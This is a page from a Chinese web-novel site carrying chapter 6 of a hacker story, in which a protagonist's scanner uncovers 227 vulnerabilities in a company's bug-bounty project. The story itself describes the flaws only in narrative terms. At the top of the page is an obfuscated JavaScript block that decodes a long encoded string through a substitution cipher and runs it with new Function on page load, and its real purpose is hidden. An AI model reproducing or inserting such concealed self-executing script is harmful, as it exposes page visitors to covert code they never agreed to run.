趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第6章 海量的漏洞(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

漏洞扫描工具编写完成。

李逸开始进行测试。

登陆Hackerone平台,注册账号,登入平台,进入某公司发起的漏洞众测项目,获得了相关服务器的IP地址,接下来,李逸一键启动他自制的漏洞扫描工具。

下一秒,绿色的代码瀑布流疯狂涌现,漏洞扫描工具顺利运行,各个子模块开始工作,解析该服务站点的漏洞情况。

……

风谷科技,一家总部位于魔都的上市软件公司,意在推动信息化与工业化深度融合,提升城市智能化水平,业务遍及钢铁,交通,医药,化工,金融,等等多个行业,深耕软件领域,对软件安全,系统安全有着极致的追求。

风谷科技技术部负责人-张培勇,如同往日一般,上班后第一时间打开电脑,查看邮箱,审核下属们的工作进度,规划下一步的工作。

忽然,一阵敲门声响起,打断了张培勇的思路。

“请进!”张培勇抬眼,看向门外。

“勇哥,不好了,榕城智慧云项目发现大量BUG,修改完这些BUG,工作量几乎等于推倒重做。”一位发量稀疏的年轻人-赵晓辉,推门而入,哭丧着脸汇报。

“榕城智慧云?放在平台开放众测那个项目?”张培勇淡定地看着赵晓辉,问。

“是的!被个高手挖掘出了大量漏洞。”赵晓辉满脸苦涩地确认道。

张培勇连忙打开平台,登陆进入后台。

下一刻,网站后台展一条条漏洞数据,RCE漏洞、SQL注入漏洞,账户劫持漏洞,CORS、CSRF、源码泄露,速率限制,……,等等,共计227条漏洞。

张培勇看得头皮阵阵发麻。

有这么多?

真的假的!

张培勇满脸不信,随手点开一条RCE漏洞的数据。

这条漏洞针对一个子域名目标,用Dirb爆目录时发现了其.git目录,用gitpillage深入探测时,调用的POST参数并未被过滤审核,并关联到一个远程代码执行漏洞。

张培勇神情一紧,按照上面的漏洞描述,立即展开测试。

张培勇双手放键盘上,噼里啪啦的一阵操作,很快,按照漏洞描述的情况,直接切入榕城智慧云项目的漏洞所在。

妈的!

真有这个漏洞。

张培勇慌了神,不信邪地继续测试下一个漏洞。

很快,张培勇按照漏洞发现者的描述,进行演示,成功获取了站点上该项应用服务的所有源码,这个漏洞比上个RCE漏洞的威胁严重多了。

张培勇额头滑落一滴冷汗。

这个漏洞要是没被发现,一旦项目上线运行,被人利用了这个漏洞,将严重威胁客户的数据安全。

张培勇深吸了口气,继续抽看下一个漏洞情况。

这是一个账户劫持漏洞,把email地址换成他人用户的email地址,就能用请求包中设置包含的密码,替换更改他人的账户密码,整个过程不需要任何验证机制。

张培勇连续测试五六个漏洞,每个漏洞都真实存在。

很好,很好!

张培勇既生气又开心,心情十分复杂。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间